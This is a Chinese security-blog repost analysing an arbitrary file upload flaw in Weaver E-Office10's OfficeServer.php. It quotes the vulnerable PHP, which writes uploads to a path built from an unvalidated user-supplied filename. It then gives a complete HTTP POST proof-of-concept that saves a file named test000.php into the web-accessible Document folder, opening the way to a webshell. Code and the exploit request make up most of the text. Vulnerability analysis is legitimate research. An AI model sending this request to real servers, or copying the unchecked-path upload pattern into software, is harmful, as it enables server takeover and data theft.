https://github.com/ax1sX/SecurityList/blob/main/Other_OA/%E6%B3%9B%E5%BE%AEE-Office.md
/eoffice10/server/public/iWebOffice2015/OfficeServer.php
$mRecordID = "";
$mFileName = "";
$mFileBody = "";
$mFileSize = "";
$mFileType = "";
$mFilePath = $_SERVER["DOCUMENT_ROOT"] . dirname($_SERVER["PHP_SELF"]);
$mFullPath = "";
$mOption = "";
$mUserName = "";
$MsgObj = "";
$mContent = "";
$mInput = "";
$result = false;
$mTemplate = "";
$FormData = $_REQUEST["FormData"];
error_log($FormData, 3, "a.log");
$data1 = iconv("GB2312", "UTF-8//IGNORE", $FormData);
$data1 = str_replace("'", """, $data1);
$de_json = json_decode($data1, true);
$mOption = $de_json["OPTION"];
switch ($mOption) {
case "LOADFILE":
$mRecordID = $de_json["RECORDID"];
$mFileName = $de_json["FILENAME"];
$mFileType = $de_json["FILETYPE"];
$mFilePath = $mFilePath . "/Document/" . $mFileName;
error_log($mFilePath, 3, "a.log");
$result = file_exists($mFilePath);
if ($result) {
$fd = fopen($mFilePath, "rb");
$mFileSize = filesize($mFilePath);
$mFileBody = fread($fd, $mFileSize);
header("Content-type: application/x-msdownload");
header("Content-Length:" . $mFileSize);
header("Content-Disposition: attachment; filename=" . $mFileName);
ob_clean();
flush();
echo $mFileBody;
fclose($fd);
} else {
echo header("MsgError:404");
}
break;
case "SAVEFILE":
$mRecordID = $de_json["RECORDID"];
$mFileName = $de_json["FILENAME"];
$mFileType = $de_json["FILETYPE"];
$mUserName = $de_json["USERNAME"];
$mFile = $_FILES["FileData"]["tmp_name"];
error_log($mFile, 3, "a.log");
$mFilePath = $mFilePath . "/Document/" . $mFileName;
error_log($mFilePath, 3, "a.log");
if (is_uploaded_file($mFile)) {
if (move_uploaded_file($mFile, $mFilePath)) {
$mFileSize = $_FILES["FileData"]["size"];
$result = true;
} else {
$MsgError = "保存失败!";
$result = false;
}
} else {
$MsgError = "Uploaded_file Error";
$result = false;
}
break;
case "SAVEPDF":
$mRecordID = $de_json["RECORDID"];
$mFileName = $de_json["FILENAME"];
$mFile = $_FILES["FileData"]["tmp_name"];
$mFilePath = $mFilePath . "/PDF/" . $mFileName;
if (is_uploaded_file($mFile)) {
if (move_uploaded_file($mFile, $mFilePath)) {
$mFileSize = $_FILES["FileData"]["size"];
$result = true;
} else {
$MsgError = "保存PDF失败!";
$result = false;
}
} else {
$MsgError = "Uploaded_file Error";
$result = false;
}
break;
}
$data1 = str_replace("'", """, $data1);
$de_json = json_decode($data1, true);
$mOption = $de_json["OPTION"];
$mRecordID = $de_json["RECORDID"];
$mFileName = $de_json["FILENAME"];
$mFileType = $de_json["FILETYPE"];
$mUserName = $de_json["USERNAME"];
$mFile = $_FILES["FileData"]["tmp_name"];
error_log($mFile, 3, "a.log");
$mFilePath = $mFilePath . "/Document/" . $mFileName;
$mFilePath = $_SERVER["DOCUMENT_ROOT"] . dirname($_SERVER["PHP_SELF"]);
/eoffice10/server/public/iWebOffice2015/Document/文件名
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0(Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Accept-Encoding: gzip, deflate
Connection: close
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition: form-data; name="FileData"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition: form-data; name="FormData"
{'USERNAME':'','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'test000.php'}
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--
原文始发于微信公众号(C4安全团队):泛微E-Office10 OfficeServer.php文件上传历史漏洞简析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论